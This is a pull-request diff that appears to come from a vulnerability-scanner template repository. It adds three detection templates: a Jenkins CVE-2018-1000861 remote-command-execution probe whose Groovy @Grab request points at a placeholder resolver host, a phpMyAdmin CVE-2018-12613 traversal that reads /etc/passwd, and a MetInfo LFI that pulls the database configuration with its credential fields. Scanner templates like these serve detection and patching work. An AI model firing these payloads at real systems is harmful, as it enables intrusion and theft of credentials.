Merge pull request #898 from pikpikcu/patch-74

Create metinfo-lfi /update CVE-2018-1000861 /CVE-2018-12613

cves/2018/CVE-2018-1000861.yaml

@@ -0,0 +1,25 @@
+id: CVE-2018-1000861
+
+info:
+  name: Jenkins 2.138 Remote Command Execution
+  author: dhiyaneshDK & @pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
+  tags: cve,cve2018,jenkin,rce
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "package#vulntest"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-12613.yaml

@@ -0,0 +1,25 @@
+id: CVE-2018-12613
+
+info:
+  name: PhpMyAdmin 4.8.1 Remote File Inclusion
+  author: pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
+  tags: cve,cve2018,phpmyadmin,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd'
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200

vulnerabilities/other/metinfo-lfi.yaml

@@ -0,0 +1,26 @@
+id: metinfo-lfi
+info:
+  name: MetInfo 6.0.0/6.1.0 LFI
+  author: pikpikcu
+  severity: high
+  reference: https://paper.seebug.org/676/
+  tags: metinfo,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/include/thumb.php?dir=http/.....///.....///config/config_db.php'
+      - '{{BaseURL}}/include/thumb.php?dir=.....///http/.....///config/config_db.php'
+      - '{{BaseURL}}/include/thumb.php?dir=http\\..\\..\\config\\config_db.php'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "con_db_pass"
+          - "con_db_name"
+        part: body
+        condition: and
+      - type: status
+        status:
+          - 200